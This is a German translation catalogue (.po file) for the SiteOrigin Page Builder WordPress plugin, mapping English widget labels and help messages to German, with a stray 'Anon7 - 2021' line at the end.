#: widgets/widgets/price-box/price-box.php:27
msgid "Information Text"
msgstr "Informationstext"

#: widgets/widgets/price-box/price-box.php:31
msgid "Features Text"
msgstr "Features Text"

#: widgets/widgets/price-box/price-box.php:50
msgid "Feature List"
msgstr "Featureliste"

#: widgets/widgets/testimonial/testimonial.php:6
msgid "Testimonial (PB)"
msgstr "Testimonial (PB)"

#: widgets/widgets/testimonial/testimonial.php:19
msgid "Location"
msgstr "Standort"

#: widgets/widgets/testimonial/testimonial.php:23
msgid "Image"
msgstr "Bild"

#: widgets/widgets/testimonial/testimonial.php:32
msgid "URL"
msgstr "URL"

#: siteorigin-panels.php:1254
msgid "The widget 1{%1$s} is not available. Please try locate and install the missing plugin. Post on the 2{support forums} if you need help."
msgstr "Das Widget 1{%1$s} ist nicht verfügbar. Bitte versuchen Sie das fehlende Plugin zu installieren. Besuchen Sie unser 2{Support-Forum}, wenn Sie Hilfe benötigen."

#: tpl/js-templates.php:64
msgid "Add a 1{widget}, 2{row} or 3{prebuilt layout} to get started. Read our 4{documentation} if you need help."
msgstr "Fügen Sie ein 1{Widget}, 2{Zeile} oder ein 3{vorgefertigtes Layout} ein, um anzufangen. Lesen Sie die 4{Dokumentation}, wenn Sie Hilfe benötigen."

#: widgets/basic.php:15
msgid "A complete SiteOrigin Page Builder layout as a widget."
msgstr "Ein komplettes SiteOrigin Page Builder-Layout als Widget."

#: widgets/widgets/testimonial/testimonial.php:8
msgid "Displays a bullet list of points"
msgstr "Zeigt eine Aufzählung von Punkten als Liste an."

#: inc/widgets.php:118
msgid "Enable more widgets in the 1{Widgets Bundle settings}."
msgstr "Aktivieren Sie mehr Widgets in den 1{Widget-Paket-Einstellungen}. "

#: inc/widgets.php:127
msgid "Install the 1{Widgets Bundle} to get extra widgets."
msgstr "Installieren Sie das 1{Widgets-Paket} um zusätzliche Widgets zu erhalten."

#: inc/widgets.php:140
msgid "You can enable the legacy (PB) widgets in the 1{Page Builder settings}."
msgstr "Sie können die veralteten (PB) Widets in den 1{Page Builder Einstellungen} aktivieren."

#: siteorigin-panels.php:1231
msgid "You need to install 1{%1$s} to use the widget 2{%2$s}."
msgstr "Sie müssen {%1$s} installieren, um das Widget 2{%2$s} verwenden zu können."

#: settings/tpl/help.php:6
msgid "Please read the 1{settings guide} of the Page Builder documentation for help."
msgstr "Hilfe finden Sie in der 1{Einstellungs-Anleitung} der Page Builder Dokumentation."

#: tpl/admin-home-page.php:29
msgid "Home page updated. 1{View page}."
msgstr "Homepage aktualisiert. 1{Seite anzeigen}."

#: widgets/basic.php:469 widgets/widgets.php:629
msgid "Additional query arguments. See 1{query_posts}."
msgstr "Zusätzliche Abfrage-Argumente. Siehe 1{query_posts}."

#: tpl/help.php:18
msgid "Read the 1{full documentation} on SiteOrigin. Ask a question on our 2{support forum} if you need help and sign up to 3{our newsletter} to stay up to date with future developments."
msgstr "Lesen Sie die 1{vollständige Dokumentation} auf SiteOrigin. Stellen Sie eine Frage in unserem 2{Support-Forum}, wenn Sie Hilfe benötigen und melden Sie sich für unseren Newsletter an, um über die zukünftige Entwicklung auf dem Laufenden zu bleiben."

#: tpl/js-templates.php:302
msgid "1{Set row layout}: %1$s columns with a ratio of %2$s going from %3$s"
msgstr "1{Zeilen-Layout einstellen}: %1$s Spalten mit einem Verhältnis %2$s von %3$s"

Anon7 - 2021